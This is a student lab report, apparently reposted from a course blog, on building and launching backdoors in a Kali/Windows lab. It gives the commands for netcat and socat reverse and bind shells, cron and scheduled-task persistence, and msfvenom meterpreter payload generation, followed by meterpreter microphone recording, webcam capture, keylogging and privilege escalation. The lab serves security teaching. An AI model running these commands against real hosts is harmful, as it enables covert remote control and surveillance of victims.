2018-2019-2 网络对抗技术 20165318 Exp2 后门原理与实践

Posted sunxiaoxuan

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了2018-2019-2 网络对抗技术 20165318 Exp2 后门原理与实践相关的知识,希望对你有一定的参考价值。

2018-2019-2 网络对抗技术 20165318 Exp2 后门原理与实践


后门的基本概念及基础问题回答

一、后门的概念

  • 未认证隐通道专门应用
  • 程序投送启动隐藏

二、基础问题回答

  • 问:例举你能想到的一个后门进入到你系统中的可能方式?
    • 当我们打开一个网页时,如果该网页会自动链接到木马程序的话,就会在后台自动下载安装木马的安装程序,并会自动安装木马,生成可执行文件,以此在系统留下后门。
    • 或者在非官方网站下载应用程序时,该应用程序可能绑定了一些可执行文件,因此留下后门。
  • 问:例举你知道的后门如何启动起来(win及linux)的方式?
    • Windows:设置为开机自启动、修改注册表项、用户执行带有后门的可执行文件
    • Linux:通过crontab功能将后门设为定时启动;也可以通过对正常软件绑定注入shellcode
  • 问:Meterpreter有哪些给你映像深刻的功能?
    • 在植入后门后,可以控制被控主机的shell,执行指令;获取被控主机的录音、录像、截图、键盘输入记录等。
  • 问:如何发现自己有系统有没有被安装后门?
    • 打开防火墙,查看有没有异常开放的端口;
    • 安装杀毒软件,实时监控电脑,定时对系统进行检测;
    • 查看任务计划程序、开机自启动项、注册表项中是否有可疑程序。

返回目录


常用后门工具

netcat

Windows获得Linux Shell

  • 在Windows下使用ipconfig查看本机IP

技术图片

  • 使用ncat.exe程序打开监听ncat.exe -l -p 5318

技术图片

  • 在kali中反弹连接Windows,ncat 169.254.175.85 5318 -e /bin/sh,使用-e选项执行shell程序

技术图片

  • Windows成功获得kali的shell

技术图片

Linux获得Windows Shell

  • 在kali中使用ifconfig查看IP

技术图片

  • 打开监听nc -l -p 5318

技术图片

  • 在Windows中反弹连接kali,ncat.exe -e cmd.exe 192.168.208.129 5318

技术图片

  • kali成功获得Windows的命令提示

技术图片

使用nc传输数据

  • Windows下监听5318端口,ncat.exe -l 5318

  • kali反弹连接到Windows的5318端口,nc 169.254.175.85 5318

  • 连接建立成功,双方可以相互传输数据

技术图片

使用nc传输文件

  • Windows下监听5318端口,并把收到的数据保存到file1.out中,ncat.exe -l 5318 > file1.out

  • kali反弹连接到Windows的5318端口,nc 169.254.175.85 5318 < file1.in

  • 连接建立成功,Win可以收到kali发来的文件。

技术图片

返回目录

Meterpreter

  • 后门就是一个程序。
  • 传统的理解是:有人编写一个后门程序,大家拿来用。后来有人编写一个平台能生成后门程序。这个平台把后门的
    • 基本功能(基本的连接、执行指令),
    • 扩展功能(如搜集用户信息、安装服务等功能),
    • 编码模式,
    • 运行平台,
    • 以及运行参数
    • 全都做成零件或可调整的参数。用的时候按需要组合,就可以生成一个可执行文件。
  • 典型的平台就包括有:
    • intersect
    • Metaspolit的msfvenom指令
    • Veil-evasion
      在下面的任务三中我们就用到了Metaspolit的msfvenom指令
  • 参数说明
    • -p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
    • -x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
    • -e 使用的编码器,用于对shellcode变形,为了免杀。
    • -i 编码器的迭代次数。如上即使用该编码器编码5次。
    • -b badchar是payload中需要去除的字符。
    • LHOST 是反弹回连的IP
    • LPORT 是回连的端口
    • -f 生成文件的类型
    • > 输出到哪个文件

返回目录


实验内容

任务一:使用netcat获取主机操作Shell,cron启动

Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。详细说明可以"man cron"。

  • 在Windows系统下,监听5318端口

  • 在Kali环境下,用crontab -e指令编辑一条定时任务,(crontab指令增加一条定时任务,"-e"表示编辑)选择编辑器时选择3(第一次会提示选择编辑器,以后就不会提示了);

  • 在最后一行添加26 * * * * /bin/netcat 169.254.175.85 5318 -e /bin/sh,意思是在每个小时的第26分钟反向连接Windows主机的5318端口,设置成26的原因是我当时的时间是16点24,为了能立马看到效果,所以我将时间设置成了26

技术图片

  • 但时间到达26分钟时如下图所示:
    技术图片

返回目录

任务二:使用socat获取主机操作Shell, 任务计划启动

socat:
- socat是ncat的增强版,它使用的格式是socat [options] <address> <address>,其中两个address是必选项,而options 是可选项。
- socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。

  • 搜索打开“计算机管理”

  • 在“任务计划程序”中“创建任务”

技术图片

  • 填写任务名->新建一个触发器

https://images2018.cnblogs.com/blog/1071476/201803
/1071476-20180328210311123-1041484837.png

  • 在操作->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5318 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口5318,同时把cmd.exestderr重定向到stdout上:

技术图片

  • 创建完成之后,按Windows+L快捷键锁定计算机,再次打开时,可以发现之前创建的任务已经开始运行

技术图片

  • 此时,在Kali环境下输入指令socat - tcp:169.254.175.85:5318,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5318端口,此时可以发现已经成功获得了一个cmd shell

技术图片

返回目录

任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  • 在Kali上执行指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.208.129 LPORT=5318 -f exe > 20165318_backdoor.exe,注意这里的IP地址为控制端IP,即LinuxIP,可见已经生成了后门程序“20165318_backdoor.exe”
    技术图片

  • 在Windows下执行ncat.exe -l 5318 > 20165318_backdoor.exe,这样被控主机就进入了接收文件模式,也可以使用ncat.exe -lv 5318 > 20165318_backdoor.exe指令,通过-lv选项看到当前的连接状态,下面这个图是文件传输成功的截图
    技术图片

  • 在Linux中执行nc 169.254.175.85 5318 < 20165318_backdoor.exe,注意这里的IP为被控主机IP,即WindowsIP

  • 传送接收文件成功,如下图所示
    技术图片

  • 在Kali上使用msfconsole指令进入msf控制台,这时候我们能看到一个可爱的小人~而且每次打开都是不一样的图案!
    技术图片

  • 输入use exploit/multi/handler使用监听模块,设置payload

  • set payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的payload

  • set LHOST 192.168.208.129,这里用的是LinuxIP,和生成后门程序时指定的IP相同

  • set LPORT 5318,同样要使用相同的端口
    技术图片

  • 设置完成后,执行监听
    技术图片

  • 运行Windows下的后门程序
    技术图片

  • 此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell
    技术图片

返回目录

任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  • 使用record_mic指令可以截获一段音频,可以用-d选项设置录制时间
    技术图片

  • 使用webcam_snap指令可以使用摄像头进行拍照
    技术图片

  • 使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录

技术图片

  • 使用screenshot指令可以进行截屏,效果如下:
    技术图片

  • 先使用getuid指令查看当前用户,使用getsystem指令进行提权
    技术图片

  • 也可以用webcam stream指令可以使用摄像头进行录像

返回目录

任务五:可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

暂时还没有做出来,后期会继续跟进

返回目录


实验遇到的问题及解决方法

本次实验由于我提前关闭了防火墙,在实验过程中没有遇到什么问题。

返回目录


实验总结与体会

  • 在2017年学院的信安大赛微视演绎环节的作品《机要风云》给我留下了很深的影响。作品中一名饰演黑客的学长熟练地运用后门技术,简单的敲击了几下键盘,就远程控制了因主人公误操作而感染木马的涉密主机,然后调用摄像头截屏并获取本地机密文件,当时觉得这波操作简直超级炫酷!没想到现在的我也能做类似的事情,当第一次在攻击机上执行被控主机的shell,还是挺高兴的。在逐步实现一个个任务,最后调取被控主机录像的时候,心中的成就感油然而生,哈哈哈。
  • 虽然现在的我仅仅只是了解后门的基本原理,掌握了最基本的后门的生成、投送、启动,但有了现在的基础,一步步循序渐进,我会学到更深入的知识~
  • 同时,我也更认识到系统防范入侵的能力之低的事实,也使我对一些常见的攻击有了基础的了解,提高了自己的安全意识。

返回目录

以上是关于2018-2019-2 网络对抗技术 20165318 Exp2 后门原理与实践的主要内容,如果未能解决你的问题,请参考以下文章

2018-2019-2 网络对抗技术 20165212 Exp7 网络欺诈防范

2018-2019-2 网络对抗技术 20165318 Exp7 网络欺诈防范

2018-2019-2 20165209 《网络对抗技术》 Kali安装

2018-2019-2 20165316《网络对抗技术》Exp7 网络欺诈防范

2018-2019-2 网络对抗技术 20165324 Exp7:网络欺诈防范

2018-2019-2 20165210《网络对抗技术》Exp7 网络欺诈防范